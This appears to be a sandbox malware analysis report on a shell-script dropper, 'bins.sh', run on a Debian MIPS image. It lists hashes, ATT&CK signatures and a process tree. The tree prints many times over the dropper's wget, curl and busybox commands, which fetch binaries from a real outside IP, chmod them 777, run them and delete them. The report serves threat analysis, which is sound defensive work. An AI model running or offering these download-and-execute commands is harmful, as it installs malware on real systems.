bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2

Analysis

max time kernel
91s
max time network
95s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/11/2024, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241104-pnbgtsypes
SHA256 bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2
MD5 dc698ae540a540b36276c5ff6b31d35b
SHA1 fd817ba94e95b61864aee1dbc7aa81cf161aa654
SHA512 a17aaed2a4446493e7b072550aec27ad06c8a009b6f2f3d25ca262c437997a1523e1d0762d0c0c0332dc96285896b53a3e4a5eab57bf37f7efe407e615fd5e62
SSDEEP 192:Kj1GhxBgsVhJt3mu0nOOMYgTj/7f7v7DU7wv3OSKHHFMYgTjp7f7v7DU7w7OSKHo:Kj1GhxBgsEnOOMYgTj/LjUqsMYgTjpLl
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
941	chmod
880	chmod
898	chmod
856	chmod
886	chmod
971	chmod
935	chmod
867	chmod
874	chmod
923	chmod
929	chmod
740	chmod
829	chmod
959	chmod
965	chmod
746	chmod
947	chmod
983	chmod
910	chmod
977	chmod
760	chmod
818	chmod
892	chmod
904	chmod
784	chmod
808	chmod
916	chmod
953	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
712	wget
741	cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
834	wget
858	HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
950	wget
952	busybox
859	rm
909	busybox
954	cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
737	busybox
742	rm
843	curl
907	wget
908	curl
951	curl
727	curl
851	busybox
911	HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
912	rm
955	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj	curl
File opened for modification	/tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm	curl
File opened for modification	/tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP	curl
File opened for modification	/tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d	curl
File opened for modification	/tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM	curl
File opened for modification	/tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP	curl
File opened for modification	/tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u	curl
File opened for modification	/tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO	curl
File opened for modification	/tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u	curl
File opened for modification	/tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4	curl
File opened for modification	/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj	curl
File opened for modification	/tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4	curl
File opened for modification	/tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk	curl
File opened for modification	/tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj	curl
File opened for modification	/tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw	curl
File opened for modification	/tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh	curl
File opened for modification	/tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM	curl
File opened for modification	/tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM	curl
File opened for modification	/tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d	curl
File opened for modification	/tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i	curl
File opened for modification	/tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM	curl
File opened for modification	/tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i	curl
File opened for modification	/tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw	curl
File opened for modification	/tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj	curl
File opened for modification	/tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO	curl
File opened for modification	/tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk	curl
File opened for modification	/tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm	curl
File opened for modification	/tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:737
- /bin/chmod
  chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:741
- /bin/rm
  rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:745
- /bin/chmod
  chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:755
- /bin/chmod
  chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:764
- /usr/bin/wget
  wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:779
- /bin/chmod
  chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:788
- /usr/bin/wget
  wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:807
- /bin/chmod
  chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:817
- /bin/chmod
  chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:821
- /usr/bin/wget
  wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:824
- /bin/chmod
  chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:833
- /usr/bin/wget
  wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:834
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:858
- /bin/rm
  rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/wget
  wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:866
- /bin/chmod
  chmod 777 GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  ./GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:873
- /bin/chmod
  chmod 777 sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  ./sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:876
- /usr/bin/wget
  wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:879
- /bin/chmod
  chmod 777 hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  ./hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:882
- /usr/bin/wget
  wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:885
- /bin/chmod
  chmod 777 ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  ./ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:888
- /usr/bin/wget
  wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:891
- /bin/chmod
  chmod 777 jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  ./jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:894
- /usr/bin/wget
  wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:897
- /bin/chmod
  chmod 777 RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  ./RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:900
- /usr/bin/wget
  wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:903
- /bin/chmod
  chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:906
- /usr/bin/wget
  wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:911
- /bin/rm
  rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/wget
  wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:915
- /bin/chmod
  chmod 777 GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  ./GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:922
- /bin/chmod
  chmod 777 sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  ./sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:928
- /bin/chmod
  chmod 777 hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  ./hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:934
- /bin/chmod
  chmod 777 ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  ./ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:940
- /bin/chmod
  chmod 777 jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  ./jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:943
- /usr/bin/wget
  wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:946
- /bin/chmod
  chmod 777 RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  ./RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:949
- /usr/bin/wget
  wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:952
- /bin/chmod
  chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:954
- /bin/rm
  rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/wget
  wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
